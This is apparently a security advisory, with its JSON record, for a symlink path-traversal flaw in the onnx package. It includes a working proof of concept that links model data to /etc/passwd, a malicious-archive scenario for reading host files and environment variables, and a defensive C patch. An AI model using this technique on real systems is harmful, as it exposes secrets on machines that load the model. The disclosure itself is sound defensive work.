ghsa-3r9x-f23j-gc73
CVSS 8.7 pysec### Summary A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. ### Details The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033 `std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file. ### PoC ```python # Create a demo model with external data import os import numpy as np import onnx from onnx import helper, TensorProto, numpy_helper def create_onnx_model(output_path="model.onnx"): weight_matrix = np.random.randn(1000, 1000).astype(np.float32) X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000]) Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000]) W = numpy_helper.from_array(weight_matrix, name="W") matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul") graph = helper.make_graph( nodes=[matmul_node], name="SimpleModel", inputs=[X], outputs=[Y], initializer=[W] ) model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)]) onnx.checker.check_model(model) data_file = output_path.replace('.onnx', '.data') if os.path.exists(output_path): os.remove(output_path) if os.path.exists(data_file): os.remove(data_file) onnx.save_model( model, output_path, save_as_external_data=True, all_tensors_to_one_file=True, location=os.path.basename(data_file), size_threshold=1024 * 1024 ) if __name__ == "__main__": create_onnx_model("model.onnx") ``` 1. Run the above code to generate a sample model with external data. 2. Remove `model.data` 3. Run `ln -s /etc/passwd model.data` 4. Load the model using the following code 5. Observe check for symlink is bypassed and model is succesfuly loaded ```python import onnx from onnx.external_data_helper import load_external_data_for_model def load_onnx_model_basic(model_path="model.onnx"): model = onnx.load(model_path) return model def load_onnx_model_explicit(model_path="model.onnx"): model = onnx.load(model_path, load_external_data=False) load_external_data_for_model(model, ".") return model if __name__ == "__main__": model = load_onnx_model_basic("model.onnx") ``` A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing `poc.onnx` and `poc.data (symlink)`. Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file. ### Impact Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model. NOTE: this issue is not limited to UNIX. ### Sample patch ```c #include <fcntl.h> #include <sys/stat.h> #include <unistd.h> #include <errno.h> int open_external_file_no_symlink(const char *base_dir, const char *relative_path) { int dirfd = -1; int fd = -1; struct stat st; // Open base directory dirfd = open(base_dir, O_RDONLY | O_DIRECTORY); if (dirfd < 0) { return -1; } // Open the target relative to base_dir // O_NOFOLLOW => fail if final path component is a symlink fd = openat(dirfd, relative_path, O_RDONLY | O_NOFOLLOW); close(dirfd); if (fd < 0) { // ELOOP is the typical error if a symlink is encountered return -1; } // Inspect the *opened file* if (fstat(fd, &st) != 0) { close(fd); return -1; } // Enforce "regular file only" if (!S_ISREG(st.st_mode)) { close(fd); errno = EINVAL; return -1; } // fd is now: // - not a symlink // - not a directory // - not a device / FIFO / socket // - race-safe return fd; } ``` ### Resources * https://cwe.mitre.org/data/definitions/61.html * https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172 * https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368
- Published
- unknown
- Last Modified
- unknown
CVSS details not available.
No product information available.
- https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73
- https://nvd.nist.gov/vuln/detail/CVE-2026-27489
- https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb
- https://access.redhat.com/errata/RHSA-2026:24977
- https://access.redhat.com/security/cve/CVE-2026-27489
- https://bugzilla.redhat.com/show_bug.cgi?id=2453929
- https://github.com/onnx/onnx
- https://github.com/pypa/advisory-database/tree/main/vulns/onnx/PYSEC-2026-2239.yaml
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27489.json
No linked vulnerabilities found.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "<= 1.20.0",
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3r9x-f23j-gc73/GHSA-3r9x-f23j-gc73.json"
},
"package": {
"ecosystem": "PyPI",
"name": "onnx",
"purl": "pkg:pypi/onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.21.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1",
"0.2",
"0.2.1",
"1.0.0",
"1.0.1",
"1.1.0",
"1.1.1",
"1.1.2",
"1.10.0",
"1.10.1",
"1.10.2",
"1.11.0",
"1.12.0",
"1.13.0",
"1.13.1",
"1.14.0",
"1.14.1",
"1.15.0",
"1.16.0",
"1.16.1",
"1.16.2",
"1.17.0",
"1.18.0",
"1.19.0",
"1.19.1",
"1.19.1rc1",
"1.2.1",
"1.2.2",
"1.2.3",
"1.20.0",
"1.20.0rc1",
"1.20.0rc2",
"1.20.1",
"1.20.1rc1",
"1.21.0rc1",
"1.21.0rc2",
"1.21.0rc3",
"1.21.0rc4",
"1.3.0",
"1.4.0",
"1.4.1",
"1.5.0",
"1.6.0",
"1.7.0",
"1.8.0",
"1.8.1",
"1.9.0"
]
}
],
"aliases": [
"CVE-2026-27489",
"PYSEC-2026-2239"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T22:34:25Z",
"nvd_published_at": "2026-04-01T18:16:28Z",
"severity": "HIGH"
},
"details": "### Summary\nA path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. \n\n### Details\nThe following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:\nhttps://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033\n\n`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file. \n\n\n### PoC\n\n\n\n```python\n# Create a demo model with external data\nimport os\nimport numpy as np\nimport onnx\nfrom onnx import helper, TensorProto, numpy_helper\n\ndef create_onnx_model(output_path=\"model.onnx\"):\n weight_matrix = np.random.randn(1000, 1000).astype(np.float32)\n\n X = helper.make_tensor_value_info(\"X\", TensorProto.FLOAT, [1, 1000])\n Y = helper.make_tensor_value_info(\"Y\", TensorProto.FLOAT, [1, 1000])\n W = numpy_helper.from_array(weight_matrix, name=\"W\")\n\n matmul_node = helper.make_node(\"MatMul\", inputs=[\"X\", \"W\"], outputs=[\"Y\"], name=\"matmul\")\n\n graph = helper.make_graph(\n nodes=[matmul_node],\n name=\"SimpleModel\",\n inputs=[X],\n outputs=[Y],\n initializer=[W]\n )\n\n model = helper.make_model(graph, opset_imports=[helper.make_opsetid(\"\", 11)])\n onnx.checker.check_model(model)\n\n data_file = output_path.replace('.onnx', '.data')\n\n if os.path.exists(output_path):\n os.remove(output_path)\n if os.path.exists(data_file):\n os.remove(data_file)\n\n onnx.save_model(\n model,\n output_path,\n save_as_external_data=True,\n all_tensors_to_one_file=True,\n location=os.path.basename(data_file),\n size_threshold=1024 * 1024\n )\n\nif __name__ == \"__main__\":\n create_onnx_model(\"model.onnx\")\n```\n\n1. Run the above code to generate a sample model with external data.\n2. Remove `model.data`\n3. Run `ln -s /etc/passwd model.data`\n4. Load the model using the following code\n5. Observe check for symlink is bypassed and model is succesfuly loaded\n\n```python\nimport onnx\nfrom onnx.external_data_helper import load_external_data_for_model\n\ndef load_onnx_model_basic(model_path=\"model.onnx\"):\n model = onnx.load(model_path)\n return model\n\ndef load_onnx_model_explicit(model_path=\"model.onnx\"):\n model = onnx.load(model_path, load_external_data=False)\n load_external_data_for_model(model, \".\")\n return model\n\nif __name__ == \"__main__\":\n model = load_onnx_model_basic(\"model.onnx\")\n\n```\n\nA common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing `poc.onnx` and `poc.data (symlink)`. Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.\n\n\n### Impact\n\nRead sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.\n\nNOTE: this issue is not limited to UNIX.\n\n### Sample patch\n\n```c\n#include <fcntl.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <errno.h>\n\nint open_external_file_no_symlink(const char *base_dir,\n const char *relative_path) {\n int dirfd = -1;\n int fd = -1;\n struct stat st;\n\n // Open base directory\n dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);\n if (dirfd < 0) {\n return -1;\n }\n\n // Open the target relative to base_dir\n // O_NOFOLLOW => fail if final path component is a symlink\n fd = openat(dirfd,\n relative_path,\n O_RDONLY | O_NOFOLLOW);\n close(dirfd);\n\n if (fd < 0) {\n // ELOOP is the typical error if a symlink is encountered\n return -1;\n }\n\n // Inspect the *opened file*\n if (fstat(fd, &st) != 0) {\n close(fd);\n return -1;\n }\n\n // Enforce \"regular file only\"\n if (!S_ISREG(st.st_mode)) {\n close(fd);\n errno = EINVAL;\n return -1;\n }\n\n // fd is now:\n // - not a symlink\n // - not a directory\n // - not a device / FIFO / socket\n // - race-safe\n return fd;\n}\n```\n\n### Resources\n\n* https://cwe.mitre.org/data/definitions/61.html\n* https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172\n* https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368",
"id": "GHSA-3r9x-f23j-gc73",
"modified": "2026-11-04T03:30:50.269971417Z",
"published": "2026-03-31T22:34:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27489"
},
{
"type": "WEB",
"url": "https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:24977"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-27489"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2453929"
},
{
"type": "PACKAGE",
"url": "https://github.com/onnx/onnx"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/onnx/PYSEC-2026-2239.yaml"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27489.json"
}
],
"schema_version": "1.9.2",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "onnx Vulnerable to Path Traversal via Symlink"
}